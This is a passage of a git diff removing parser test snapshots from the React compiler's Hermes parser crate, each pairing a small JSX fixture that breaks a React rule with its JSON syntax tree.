-              "type": "CallExpression",
-              "callee": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    225,
-                    226
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "push",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    227,
-                    231
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  225,
-                  231
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "props",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      232,
-                      237
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "p2",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      238,
-                      240
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    232,
-                    240
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                225,
-                241
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              225,
-              242
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "Component",
-                  "loc": null,
-                  "range": [
-                    254,
-                    263
-                  ]
-                },
-                "attributes": [
-                  {
-                    "type": "JSXAttribute",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "x",
-                      "loc": null,
-                      "range": [
-                        264,
-                        265
-                      ]
-                    },
-                    "value": {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          267,
-                          268
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        266,
-                        269
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      264,
-                      269
-                    ]
-                  },
-                  {
-                    "type": "JSXAttribute",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "y",
-                      "loc": null,
-                      "range": [
-                        270,
-                        271
-                      ]
-                    },
-                    "value": {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "Identifier",
-                        "name": "y",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          273,
-                          274
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        272,
-                        275
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      270,
-                      275
-                    ]
-                  }
-                ],
-                "selfClosing": true,
-                "loc": null,
-                "range": [
-                  253,
-                  278
-                ]
-              },
-              "children": [],
-              "closingElement": null,
-              "loc": null,
-              "range": [
-                253,
-                278
-              ]
-            },
-            "loc": null,
-            "range": [
-              246,
-              279
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          281
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        281
-      ],
-      "loc": null,
-      "range": [
-        0,
-        281
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    281
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.invalid-mutate-after-freeze.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.invalid-mutate-after-freeze.js.snap
deleted file mode 100644
index 11cedae1cb77..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.invalid-mutate-after-freeze.js.snap
+++ /dev/null
@@ -1,358 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/error.invalid-mutate-after-freeze.js
----
-Input:
-function Component(props) {
-  let x = [];
-
-  let _ = <Component x={x} />;
-
-  // x is Frozen at this point
-  x.push(props.p2);
-
-  return <div>{_}</div>;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    34,
-                    35
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    38,
-                    40
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  34,
-                  40
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              41
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "_",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    49,
-                    50
-                  ]
-                },
-                "init": {
-                  "type": "JSXElement",
-                  "openingElement": {
-                    "type": "JSXOpeningElement",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "Component",
-                      "loc": null,
-                      "range": [
-                        54,
-                        63
-                      ]
-                    },
-                    "attributes": [
-                      {
-                        "type": "JSXAttribute",
-                        "name": {
-                          "type": "JSXIdentifier",
-                          "name": "x",
-                          "loc": null,
-                          "range": [
-                            64,
-                            65
-                          ]
-                        },
-                        "value": {
-                          "type": "JSXExpressionContainer",
-                          "expression": {
-                            "type": "Identifier",
-                            "name": "x",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              67,
-                              68
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            66,
-                            69
-                          ]
-                        },
-                        "loc": null,
-                        "range": [
-                          64,
-                          69
-                        ]
-                      }
-                    ],
-                    "selfClosing": true,
-                    "loc": null,
-                    "range": [
-                      53,
-                      72
-                    ]
-                  },
-                  "children": [],
-                  "closingElement": null,
-                  "loc": null,
-                  "range": [
-                    53,
-                    72
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  49,
-                  72
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              45,
-              73
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    108,
-                    109
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "push",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    110,
-                    114
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  108,
-                  114
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "props",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      115,
-                      120
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "p2",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      121,
-                      123
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    115,
-                    123
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                108,
-                124
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              108,
-              125
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "div",
-                  "loc": null,
-                  "range": [
-                    137,
-                    140
-                  ]
-                },
-                "attributes": [],
-                "selfClosing": false,
-                "loc": null,
-                "range": [
-                  136,
-                  141
-                ]
-              },
-              "children": [
-                {
-                  "type": "JSXExpressionContainer",
-                  "expression": {
-                    "type": "Identifier",
-                    "name": "_",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      142,
-                      143
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    141,
-                    144
-                  ]
-                }
-              ],
-              "closingElement": {
-                "type": "JSXClosingElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "div",
-                  "loc": null,
-                  "range": [
-                    146,
-                    149
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  144,
-                  150
-                ]
-              },
-              "loc": null,
-              "range": [
-                136,
-                150
-              ]
-            },
-            "loc": null,
-            "range": [
-              129,
-              151
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          153
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        153
-      ],
-      "loc": null,
-      "range": [
-        0,
-        153
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    153
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.invalid-pass-hook-as-call-arg.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.invalid-pass-hook-as-call-arg.js.snap
deleted file mode 100644
index 3a05923000d3..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.invalid-pass-hook-as-call-arg.js.snap
+++ /dev/null
@@ -1,108 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/error.invalid-pass-hook-as-call-arg.js
----
-Input:
-function Component(props) {
-  return foo(useFoo);
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "foo",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  37,
-                  40
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "useFoo",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    41,
-                    47
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                37,
-                48
-              ]
-            },
-            "loc": null,
-            "range": [
-              30,
-              49
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          51
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        51
-      ],
-      "loc": null,
-      "range": [
-        0,
-        51
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    51
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.invalid-pass-hook-as-prop.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.invalid-pass-hook-as-prop.js.snap
deleted file mode 100644
index 504d8d7bf0f3..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.invalid-pass-hook-as-prop.js.snap
+++ /dev/null
@@ -1,143 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/error.invalid-pass-hook-as-prop.js
----
-Input:
-function Component(props) {
-  return <Child foo={useFoo} />;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "Child",
-                  "loc": null,
-                  "range": [
-                    38,
-                    43
-                  ]
-                },
-                "attributes": [
-                  {
-                    "type": "JSXAttribute",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "foo",
-                      "loc": null,
-                      "range": [
-                        44,
-                        47
-                      ]
-                    },
-                    "value": {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "Identifier",
-                        "name": "useFoo",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          49,
-                          55
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        48,
-                        56
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      44,
-                      56
-                    ]
-                  }
-                ],
-                "selfClosing": true,
-                "loc": null,
-                "range": [
-                  37,
-                  59
-                ]
-              },
-              "children": [],
-              "closingElement": null,
-              "loc": null,
-              "range": [
-                37,
-                59
-              ]
-            },
-            "loc": null,
-            "range": [
-              30,
-              60
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          62
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        62
-      ],
-      "loc": null,
-      "range": [
-        0,
-        62
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    62
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.invalid-pass-ref-to-function.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.invalid-pass-ref-to-function.js.snap
deleted file mode 100644
index 9343fedb3a8a..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.invalid-pass-ref-to-function.js.snap
+++ /dev/null
@@ -1,225 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/error.invalid-pass-ref-to-function.js
----
-Input:
-function Component(props) {
-  const ref = useRef(null);
-  const x = foo(ref);
-  return x.current;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "ref",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    39
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "useRef",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      42,
-                      48
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "NullLiteral",
-                      "loc": null,
-                      "range": [
-                        49,
-                        53
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    42,
-                    54
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  54
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              55
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    64,
-                    65
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "foo",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      68,
-                      71
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "Identifier",
-                      "name": "ref",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        72,
-                        75
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    68,
-                    76
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  64,
-                  76
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              58,
-              77
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "MemberExpression",
-              "object": {
-                "type": "Identifier",
-                "name": "x",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  87,
-                  88
-                ]
-              },
-              "property": {
-                "type": "Identifier",
-                "name": "current",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  89,
-                  96
-                ]
-              },
-              "computed": false,
-              "loc": null,
-              "range": [
-                87,
-                96
-              ]
-            },
-            "loc": null,
-            "range": [
-              80,
-              97
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          99
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        99
-      ],
-      "loc": null,
-      "range": [
-        0,
-        99
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    99
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.invalid-property-store-to-frozen-value.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.invalid-property-store-to-frozen-value.js.snap
deleted file mode 100644
index 93414c891b48..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.invalid-property-store-to-frozen-value.js.snap
+++ /dev/null
@@ -1,269 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/error.invalid-property-store-to-frozen-value.js
----
-Input:
-function Component(props) {
-  const x = makeObject();
-  // freeze
-  <div>{x}</div>;
-  x.y = true;
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    37
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "makeObject",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      40,
-                      50
-                    ]
-                  },
-                  "arguments": [],
-                  "loc": null,
-                  "range": [
-                    40,
-                    52
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  52
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              53
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "div",
-                  "loc": null,
-                  "range": [
-                    69,
-                    72
-                  ]
-                },
-                "attributes": [],
-                "selfClosing": false,
-                "loc": null,
-                "range": [
-                  68,
-                  73
-                ]
-              },
-              "children": [
-                {
-                  "type": "JSXExpressionContainer",
-                  "expression": {
-                    "type": "Identifier",
-                    "name": "x",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      74,
-                      75
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    73,
-                    76
-                  ]
-                }
-              ],
-              "closingElement": {
-                "type": "JSXClosingElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "div",
-                  "loc": null,
-                  "range": [
-                    78,
-                    81
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  76,
-                  82
-                ]
-              },
-              "loc": null,
-              "range": [
-                68,
-                82
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              68,
-              83
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "=",
-              "left": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    86,
-                    87
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    88,
-                    89
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  86,
-                  89
-                ]
-              },
-              "right": {
-                "type": "BooleanLiteral",
-                "value": true,
-                "loc": null,
-                "range": [
-                  92,
-                  96
-                ]
-              },
-              "loc": null,
-              "range": [
-                86,
-                96
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              86,
-              97
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                107,
-                108
-              ]
-            },
-            "loc": null,
-            "range": [
-              100,
-              109
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          111
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        111
-      ],
-      "loc": null,
-      "range": [
-        0,
-        111
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    111
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.invalid-ref-in-callback-invoked-during-render.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.invalid-ref-in-callback-invoked-during-render.js.snap
deleted file mode 100644
index bb4c461abe9f..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.invalid-ref-in-callback-invoked-during-render.js.snap
+++ /dev/null
@@ -1,546 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/error.invalid-ref-in-callback-invoked-during-render.js
----
-Input:
-// @debug
-function Component(props) {
-  const ref = useRef(null);
-  const renderItem = (item) => {
-    const current = ref.current;
-    return <Foo item={item} current={current} />;
-  };
-  return <Items>{props.items.map((item) => renderItem(item))}</Items>;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          19,
-          28
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            29,
-            34
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "ref",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    46,
-                    49
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "useRef",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      52,
-                      58
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "NullLiteral",
-                      "loc": null,
-                      "range": [
-                        59,
-                        63
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    52,
-                    64
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  46,
-                  64
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              40,
-              65
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "renderItem",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    74,
-                    84
-                  ]
-                },
-                "init": {
-                  "type": "ArrowFunctionExpression",
-                  "id": null,
-                  "params": [
-                    {
-                      "type": "Identifier",
-                      "name": "item",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        88,
-                        92
-                      ]
-                    }
-                  ],
-                  "body": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "VariableDeclaration",
-                        "kind": "const",
-                        "declarations": [
-                          {
-                            "type": "VariableDeclarator",
-                            "id": {
-                              "type": "Identifier",
-                              "name": "current",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                109,
-                                116
-                              ]
-                            },
-                            "init": {
-                              "type": "MemberExpression",
-                              "object": {
-                                "type": "Identifier",
-                                "name": "ref",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  119,
-                                  122
-                                ]
-                              },
-                              "property": {
-                                "type": "Identifier",
-                                "name": "current",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  123,
-                                  130
-                                ]
-                              },
-                              "computed": false,
-                              "loc": null,
-                              "range": [
-                                119,
-                                130
-                              ]
-                            },
-                            "loc": null,
-                            "range": [
-                              109,
-                              130
-                            ]
-                          }
-                        ],
-                        "loc": null,
-                        "range": [
-                          103,
-                          131
-                        ]
-                      },
-                      {
-                        "type": "ReturnStatement",
-                        "argument": {
-                          "type": "JSXElement",
-                          "openingElement": {
-                            "type": "JSXOpeningElement",
-                            "name": {
-                              "type": "JSXIdentifier",
-                              "name": "Foo",
-                              "loc": null,
-                              "range": [
-                                144,
-                                147
-                              ]
-                            },
-                            "attributes": [
-                              {
-                                "type": "JSXAttribute",
-                                "name": {
-                                  "type": "JSXIdentifier",
-                                  "name": "item",
-                                  "loc": null,
-                                  "range": [
-                                    148,
-                                    152
-                                  ]
-                                },
-                                "value": {
-                                  "type": "JSXExpressionContainer",
-                                  "expression": {
-                                    "type": "Identifier",
-                                    "name": "item",
-                                    "typeAnnotation": null,
-                                    "loc": null,
-                                    "range": [
-                                      154,
-                                      158
-                                    ]
-                                  },
-                                  "loc": null,
-                                  "range": [
-                                    153,
-                                    159
-                                  ]
-                                },
-                                "loc": null,
-                                "range": [
-                                  148,
-                                  159
-                                ]
-                              },
-                              {
-                                "type": "JSXAttribute",
-                                "name": {
-                                  "type": "JSXIdentifier",
-                                  "name": "current",
-                                  "loc": null,
-                                  "range": [
-                                    160,
-                                    167
-                                  ]
-                                },
-                                "value": {
-                                  "type": "JSXExpressionContainer",
-                                  "expression": {
-                                    "type": "Identifier",
-                                    "name": "current",
-                                    "typeAnnotation": null,
-                                    "loc": null,
-                                    "range": [
-                                      169,
-                                      176
-                                    ]
-                                  },
-                                  "loc": null,
-                                  "range": [
-                                    168,
-                                    177
-                                  ]
-                                },
-                                "loc": null,
-                                "range": [
-                                  160,
-                                  177
-                                ]
-                              }
-                            ],
-                            "selfClosing": true,
-                            "loc": null,
-                            "range": [
-                              143,
-                              180
-                            ]
-                          },
-                          "children": [],
-                          "closingElement": null,
-                          "loc": null,
-                          "range": [
-                            143,
-                            180
-                          ]
-                        },
-                        "loc": null,
-                        "range": [
-                          136,
-                          181
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      97,
-                      185
-                    ]
-                  },
-                  "generator": false,
-                  "async": false,
-                  "loc": null,
-                  "range": [
-                    87,
-                    185
-                  ],
-                  "expression": false,
-                  "loc": null,
-                  "range": [
-                    87,
-                    185
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  74,
-                  185
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              68,
-              186
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "Items",
-                  "loc": null,
-                  "range": [
-                    197,
-                    202
-                  ]
-                },
-                "attributes": [],
-                "selfClosing": false,
-                "loc": null,
-                "range": [
-                  196,
-                  203
-                ]
-              },
-              "children": [
-                {
-                  "type": "JSXExpressionContainer",
-                  "expression": {
-                    "type": "CallExpression",
-                    "callee": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "props",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            204,
-                            209
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "items",
